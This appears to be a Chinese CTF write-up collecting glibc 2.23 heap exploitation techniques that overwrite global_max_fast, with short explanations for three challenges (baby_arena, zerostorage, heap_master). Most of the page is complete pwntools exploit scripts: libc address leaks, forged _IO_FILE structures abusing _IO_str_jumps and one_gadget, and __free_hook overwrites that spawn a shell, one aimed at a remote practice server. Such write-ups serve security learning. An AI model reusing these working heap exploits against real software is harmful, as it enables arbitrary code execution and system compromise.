逐渐补充一些不常见的利用方式,此页补充了Global_Max_Fast的利用,不定期更新
baby_arena_BCTF2018
libc-2.23的环境,简单泄漏libc_base,然后利用login处的任意写,将global_max_fast改为’admin’,将申请到的0x1400的块大小释放既可覆盖_IO_list_all指针指向0x1400的堆块,只需要将fake_IO布置到其中,然后vtable+0x18令为one_gadget,由于不易泄漏heap_base,故将one_gadget放置到bss段.
另外一种方法是2.24对IO加了check后产生的新方法,利用_IO_str_jumps实现getshell
1 | from pwn import* |
2 | def new(size,content): |
3 | p.sendlineafter('exit','1') |
4 | p.sendlineafter('size',str(size)) |
5 | p.sendafter('note',content) |
6 | def free(index): |
7 | p.sendlineafter('exit','2') |
8 | p.sendlineafter('id:',str(index)) |
9 | def login(name,choice): |
10 | p.sendlineafter('exit','3') |
11 | p.sendafter('name',name) |
12 | p.sendlineafter('type',str(choice)) |
13 | p = process('./main') |
14 | libc = ELF('./libc-2.23.so',checksec=False) |
15 | context.log_level ='DEBUG' |
16 | new(0x300,'FMYY\n') |
17 | new(0x1400,'FMYY\n') |
18 | free(0) |
19 | new(0x300,'\n') |
20 | p.recvline() |
21 | p.recvline() |
22 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 88 - libc.sym['__malloc_hook'] - 0x10 |
23 | log.info('LIBC:\t' + hex(libc_base)) |
24 | main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10 |
25 | one_gadget = libc_base + 0xF1147 |
26 | Global_max_fast = libc_base + 0x3C67F8 |
27 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
28 | login(p64(one_gadget) + p64(Global_max_fast-8),1) |
29 | free(1) |
30 | fake_IO_FILE = p64(0xFBAD1800) + p64(0)*3 |
31 | fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr |
32 | fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00') |
33 | fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 |
34 | fake_IO_FILE += p64(0x6020B0 - 0x18) |
35 | new(0x1400,fake_IO_FILE[0x10:] + '\n') |
36 | free(1) |
37 | p.sendlineafter('exit','1') |
38 | p.sendlineafter('size','512') |
39 | p.interactive() |
1 | from pwn import* |
2 | def new(size,content): |
3 | p.sendlineafter('exit','1') |
4 | p.sendlineafter('size',str(size)) |
5 | p.sendafter('note',content) |
6 | def free(index): |
7 | p.sendlineafter('exit','2') |
8 | p.sendlineafter('id:',str(index)) |
9 | def login(name,choice): |
10 | p.sendlineafter('exit','3') |
11 | p.sendafter('name',name) |
12 | p.sendlineafter('type',str(choice)) |
13 | p = process('./main') |
14 | libc = ELF('./libc-2.23.so',checksec=False) |
15 | context.log_level ='DEBUG' |
16 | new(0x300,'FMYY\n') |
17 | new(0x1400,'FMYY\n') |
18 | free(0) |
19 | new(0x300,'\n') |
20 | p.recvline() |
21 | p.recvline() |
22 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 88 - libc.sym['__malloc_hook'] - 0x10 |
23 | log.info('LIBC:\t' + hex(libc_base)) |
24 | binsh = libc_base + libc.search('/bin/sh').next() |
25 | system = libc_base + libc.sym['system'] |
26 | Global_max_fast = libc_base + 0x3C67F8 |
27 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
28 | IO_str_jumps = libc_base +0x3C37A0 |
29 | login(p64(0) + p64(Global_max_fast-8),1) |
30 | free(1) |
31 | fake_IO_FILE = p64(0xFBAD2887) + p64(0)*3 |
32 | fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr |
33 | fake_IO_FILE += p64(0) + p64(binsh) |
34 | fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00') |
35 | fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 |
36 | fake_IO_FILE += p64(IO_str_jumps-8) |
37 | fake_IO_FILE += p64(0) + p64(system) |
38 | new(0x1400,fake_IO_FILE[0x10:] + '\n') |
39 | free(1) |
40 | p.sendlineafter('exit','1') |
41 | p.sendlineafter('size','512') |
42 | p.interactive() |
下载
zerostorage_0CTF2016
根据raycp师傅所述,预期解与内核版本有关,所以也不好搭环境,那么这里是在2.23下打通的,raycp师傅的EXP需要泄漏heap_base,其实可以不劫持Vtable,直接利用IO_Str_Jumps即可简单getshell,洞在merge中,由于没有判断ID是否相同,以及结构体中储存的size为输入的size,并非实际空间的size,所以形成了UAF洞
1 | from pwn import* |
2 | context(arch='AMD64',log_level='DEBUG') |
3 | def FILE(binsh,system,IO_str_jumps): |
4 | fake_IO_FILE = p64(0xFBAD2887) + p64(0)*3 |
5 | fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr |
6 | fake_IO_FILE += p64(0) + p64(binsh) |
7 | fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00') |
8 | fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 |
9 | fake_IO_FILE += p64(IO_str_jumps-8) |
10 | fake_IO_FILE += p64(0) + p64(system) |
11 | return fake_IO_FILE |
12 | def insert(size,content): |
13 | p.sendlineafter('choice: ','1') |
14 | p.sendlineafter('entry: ',str(size)) |
15 | content = content.ljust(size,'\x00') |
16 | p.sendafter('data: ',content) |
17 | def update(ID,size,content): |
18 | p.sendlineafter('choice: ','2') |
19 | p.sendlineafter('ID: ',str(ID)) |
20 | p.sendlineafter('entry: ',str(size)) |
21 | content = content.ljust(size,'\x00') |
22 | p.sendafter('data: ',content) |
23 | def merge(ID,MID): |
24 | p.sendlineafter('choice: ','3') |
25 | p.sendlineafter('from',str(ID)) |
26 | p.sendlineafter('ID: ',str(MID)) |
27 | def delete(ID): |
28 | p.sendlineafter('choice: ','4') |
29 | p.sendlineafter('ID: ',str(ID)) |
30 | def view(ID): |
31 | p.sendlineafter('choice: ','5') |
32 | p.sendlineafter('ID: ',str(ID)) |
33 | def list(ID): |
34 | p.sendlineafter('choice: ','6') |
35 | p = process('./main') |
36 | libc = ELF('./libc-2.23.so',checksec=False) |
37 | insert(0x40,'FMYY') #0 |
38 | insert(0x40,'FMYY') #1 |
39 | insert(0x80,'FMYY') #2 |
40 | insert(0x1000-0x10,'FMYY')#3 |
41 | insert(0x400,'FMYY') #4 |
42 | insert(0x400,'FMYY') #5 |
43 | insert(0x80,'FMYY') #6 |
44 | merge(0,0) |
45 | view(7) |
46 | p.recvline() |
47 | libc_base = u64(p.recv(6).ljust(8,'\x00')) -88 - libc.sym['__malloc_hook'] -0x10 |
48 | log.info('LIBC:\t' + hex(libc_base)) |
49 | system = libc_base + libc.sym['system'] |
50 | binsh = libc_base + libc.search('/bin/sh').next() |
51 | IO_str_jumps = libc_base + 0x3C37A0 |
52 | Global_max_fast = libc_base + 0x3C67F8 |
53 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
54 | fake_IO_FILE = FILE(binsh,system,IO_str_jumps) |
55 | update(3,0x1000-0x10,fake_IO_FILE[0x10:]) |
56 | delete(4) #free the chunk4 which is next to the chunk3 |
57 | merge(5,3) #so the chunk3 and chunk4 will unlink,then we can get a 0x1410 chunk,emmm,the ID will be changed into 0 |
58 | update(7,0x80,p64(0) + p64(Global_max_fast - 0x10)) |
59 | insert(0x80,'FMYY') |
60 | delete(0) |
61 | p.sendlineafter('choice: ','1') |
62 | p.sendlineafter('entry: ',str(0x80)) |
63 | p.interactive() |
下载
heap_master_StarCTF2019
变相的一种UAF利用,首先利用unsorted bin attack修改global_max_fast的值,然后控制堆块释放掉覆盖[_IO_2_1_stdout_]中的变量,从而达到修改stdout的IO结构从而打印libc,最后释放一个块在__free_hook中,然后修改FD值,当将此块申请出来,原free_hook会留下所修改的FD值
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def new(size): |
4 | p.sendline('1') |
5 | sleep(0.01) |
6 | p.sendline(str(size)) |
7 | sleep(0.01) |
8 | def edit(offset,size,content): |
9 | p.sendline('2') |
10 | sleep(0.01) |
11 | p.sendline(str(offset)) |
12 | sleep(0.01) |
13 | p.sendline(str(size)) |
14 | sleep(0.01) |
15 | p.send(content) |
16 | sleep(0.01) |
17 | def free(offset): |
18 | p.sendline('3') |
19 | sleep(0.01) |
20 | p.sendline(str(offset)) |
21 | sleep(0.01) |
22 | p = process('./main') |
23 | p = remote('node3.buuoj.cn',27063) |
24 | elf =ELF('./main') |
25 | libc = ELF('./libc-2.23.so',checksec=False) |
26 | edit(0x20,0xC0,p64(0) + p64(0x91) + '\x00'*0x80 + p64(0) + p64(0x21) + '\x00'*0x10 + p64(0) + p64(0x21)) |
27 | free(0x30) |
28 | edit(0x38,2,'\xE8\x37') |
29 | new(0x80) |
30 | edit(0x38,8,p64(0)) |
31 | |
32 | #modify the read_end |
33 | edit(0,0x10,p64(0) + p64(0x1630)) |
34 | edit(0x1630,0x10,p64(0) + p64(0x21)) |
35 | free(0x10) |
36 | |
37 | #modify the write_base |
38 | edit(0,0x10,p64(0) + p64(0x1650)) |
39 | edit(0x1650,0x10,p64(0) + p64(0x21)) |
40 | free(0x10) |
41 | |
42 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_'] |
43 | log.info('LIBC:\t' + hex(libc_base)) |
44 | |
45 | free_hook = libc_base + libc.sym['__free_hook'] |
46 | rce = libc_base + 0x4526A |
47 | |
48 | |
49 | edit(0,0x10,p64(0) + p64(0x3920)) |
50 | edit(0x3920,0x10,p64(0) + p64(0x21)) |
51 | free(0x10) |
52 | edit(0x10,8,p64(rce)) |
53 | new(0x3910) |
54 | free(0x10) |
55 | p.interactive() |